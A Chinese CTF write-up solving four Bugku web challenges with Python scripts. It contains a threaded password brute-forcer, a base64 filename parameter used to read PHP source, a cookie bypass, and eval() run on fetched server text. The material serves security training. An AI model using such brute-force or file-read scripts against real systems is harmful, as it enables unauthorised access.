周练6（python脚本）

------------恢复内容开始------------

1.bugku-好像需要密码

POST /?yes HTTP/1.1
Host: 114.67.175.224:11711
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://114.67.175.224:11711
Connection: close
Referer: http://114.67.175.224:11711/?yes
Upgrade-Insecure-Requests: 1

pwd=12345

import requests
import sys
from multiprocessing.dummy import Pool
def run(i):
    myobj = {'pwd': i}
    print("正在测试：")
    print(i)
    x = requests.post('http://114.67.175.224:11711/?yes', data = myobj)
    if 'flag' in x.text:
        print('正确的密码为：')
        print(i)
        sys.exit(i)
        return i
    else:
        return 0
num=[]
for i in range(10000,99999):
    num.append(i)
pool=Pool(5)#5进程
result = pool.map(run,num)

不比burpsuite快多少

2.bugku-cookies

?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=解密为keys.txt，且line=0时回显，1，2，3都不回显

则http://114.67.175.224:19757/index.php?line=0&filename=aW5kZXgucGhw查看index.php文件第一行

脚本解决(因为网页简单故省略正则)

import requests
import string
import re
with open('source.txt','w', encoding='UTF-8') as f:
    for i in range(0,50):
        payload = "http://114.67.175.224:19757/index.php?line=" + str(i) +"&filename=aW5kZXgucGhw"
        x=requests.get(payload)
        m=x.content.decode()
        f.write(m)

<php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
?>

分析后端源码的意思：
if(isset($_COOKIE[‘margin’]) && $_COOKIE[‘margin’]==‘margin’){

$fa = file($file);

查看keys.php发现flag

3.秋名山车神

亲请在2s内计算老司机的车速是多少

1796186889-862621952+1300107080*389498425-1547181833*503077495*1253024600-62338025-1112840463-2086718810-2041304337=?;

import re
import requests
url="http://114.67.175.224:16740/"
s=requests.session()
text=s.get(url).text
fun = re.search('<div>(.*?)=',text, re.S).group(1)
num=eval(fun)
key={'value':num}
flag=s.post(url,data=key)
print(flag.text)

注意利用了eval字符转换的特性，num值会因session改变

其他都是爬虫基础

4.速度要快

响应包

HTTP/1.1 200 OK
Date: Sat, 25 Jun 2022 16:32:09 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Set-Cookie: PHPSESSID=sohpph0agi7uj9stbgigar00m6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRFM056azM=

Vary: Accept-Encoding
Content-Length: 89
Connection: close
Content-Type: text/html;charset=utf-8

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

第一次解密

跑的还不错，给你flag吧: MTE3Nzk3

 

第二次解密

117797

 

import requests
import base64
import re
s = requests.session() #建立会话
url = "http://114.67.175.224:16031/"
head = s.get(url).headers #返回字典
result = head['flag']
result = base64.b64decode(result).decode('utf-8') #第一次解码
result = re.findall('(\w*)', result,re.S)
result = base64.b64decode(result[5]).decode('utf-8') #第二次解码
payload = {'margin': result}
print(s.post(url, data=payload).text) 

与3类似，正则是凑出来的...将就看吧